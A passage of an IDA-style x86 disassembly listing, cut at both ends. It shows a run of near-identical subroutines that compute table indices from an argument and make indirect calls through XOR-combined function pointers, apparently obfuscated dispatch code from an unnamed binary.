arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 56h
mov [ebp+var_2C], 4Eh
mov [ebp+var_28], 46h
mov [ebp+var_24], 48h
mov [ebp+var_20], 31h
mov [ebp+var_1C], 0D6h
mov [ebp+var_18], 33h
mov [ebp+var_14], 7Fh
mov [ebp+var_10], 14h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 14h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A7114
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A7114: ; CODE XREF: sub_4A7083+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A7083 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A7180 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED934o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 73h
mov [ebp+var_2C], 0Bh
mov [ebp+var_28], 0CCh
mov [ebp+var_24], 58h
mov [ebp+var_20], 0Eh
mov [ebp+var_1C], 0F8h
mov [ebp+var_18], 0C3h
mov [ebp+var_14], 5Dh
mov [ebp+var_10], 13h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 13h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A7211
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A7211: ; CODE XREF: sub_4A7180+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A7180 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A727D proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED938o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0Ch
mov [ebp+var_2C], 58h
mov [ebp+var_28], 0F7h
mov [ebp+var_24], 41h
mov [ebp+var_20], 54h
mov [ebp+var_1C], 26h
mov [ebp+var_18], 0E3h
mov [ebp+var_14], 39h
mov [ebp+var_10], 11h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 11h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A730E
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A730E: ; CODE XREF: sub_4A727D+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A727D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A737A proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED93Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 40h
mov [ebp+var_2C], 1Dh
mov [ebp+var_28], 0CBh
mov [ebp+var_24], 65h
mov [ebp+var_20], 0B1h
mov [ebp+var_1C], 0D0h
mov [ebp+var_18], 5Eh
mov [ebp+var_14], 72h
mov [ebp+var_10], 3
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 3
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A740B
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A740B: ; CODE XREF: sub_4A737A+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A737A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A7477 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED940o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0BDh
mov [ebp+var_2C], 0B3h
mov [ebp+var_28], 72h
mov [ebp+var_24], 6Ch
mov [ebp+var_20], 68h
mov [ebp+var_1C], 0F2h
mov [ebp+var_18], 31h
mov [ebp+var_14], 0B5h
mov [ebp+var_10], 0Bh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Bh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A7508
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A7508: ; CODE XREF: sub_4A7477+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A7477 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A7574 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED944o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 16h
mov [ebp+var_2C], 3Bh
mov [ebp+var_28], 95h
mov [ebp+var_24], 9Ch
mov [ebp+var_20], 8Bh
mov [ebp+var_1C], 0A6h
mov [ebp+var_18], 0CCh
mov [ebp+var_14], 0C5h
mov [ebp+var_10], 6
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 6
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A7605
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A7605: ; CODE XREF: sub_4A7574+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A7574 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A7671 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED948o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 8Ch
mov [ebp+var_2C], 0B5h
mov [ebp+var_28], 0BEh
mov [ebp+var_24], 3Ah
mov [ebp+var_20], 57h
mov [ebp+var_1C], 15h
mov [ebp+var_18], 7
mov [ebp+var_14], 1Fh
mov [ebp+var_10], 9
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 9
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A7702
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A7702: ; CODE XREF: sub_4A7671+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A7671 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A776E proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED94Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 3Bh
mov [ebp+var_2C], 94h
mov [ebp+var_28], 32h
mov [ebp+var_24], 0Fh
mov [ebp+var_20], 5Ch
mov [ebp+var_1C], 76h
mov [ebp+var_18], 0B9h
mov [ebp+var_14], 0Dh
mov [ebp+var_10], 10h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 10h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A77FF
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A77FF: ; CODE XREF: sub_4A776E+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A776E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A786B proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED950o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 8Fh
mov [ebp+var_2C], 7Ch
mov [ebp+var_28], 0DFh
mov [ebp+var_24], 10h
mov [ebp+var_20], 3Bh
mov [ebp+var_1C], 3Bh
mov [ebp+var_18], 0FAh
mov [ebp+var_14], 69h
mov [ebp+var_10], 0Bh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Bh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A78FC
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A78FC: ; CODE XREF: sub_4A786B+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A786B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A7968 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED954o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0B3h
mov [ebp+var_2C], 0C8h
mov [ebp+var_28], 8Dh
mov [ebp+var_24], 6Bh
mov [ebp+var_20], 30h
mov [ebp+var_1C], 0BBh
mov [ebp+var_18], 38h
mov [ebp+var_14], 39h
mov [ebp+var_10], 8
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 8
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A79F9
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A79F9: ; CODE XREF: sub_4A7968+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A7968 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A7A65 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED958o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0D7h
mov [ebp+var_2C], 0DCh
mov [ebp+var_28], 95h
mov [ebp+var_24], 40h
mov [ebp+var_20], 0F6h
mov [ebp+var_1C], 30h
mov [ebp+var_18], 0CFh
mov [ebp+var_14], 0E9h
mov [ebp+var_10], 7
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 7
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A7AF6
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A7AF6: ; CODE XREF: sub_4A7A65+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A7A65 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A7B62 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED95Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 43h
mov [ebp+var_2C], 0B3h
mov [ebp+var_28], 0D5h
mov [ebp+var_24], 0E2h
mov [ebp+var_20], 0B1h
mov [ebp+var_1C], 0E1h
mov [ebp+var_18], 0CAh
mov [ebp+var_14], 0F8h
mov [ebp+var_10], 2
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 2
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A7BF3
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A7BF3: ; CODE XREF: sub_4A7B62+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A7B62 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A7C5F proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED960o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
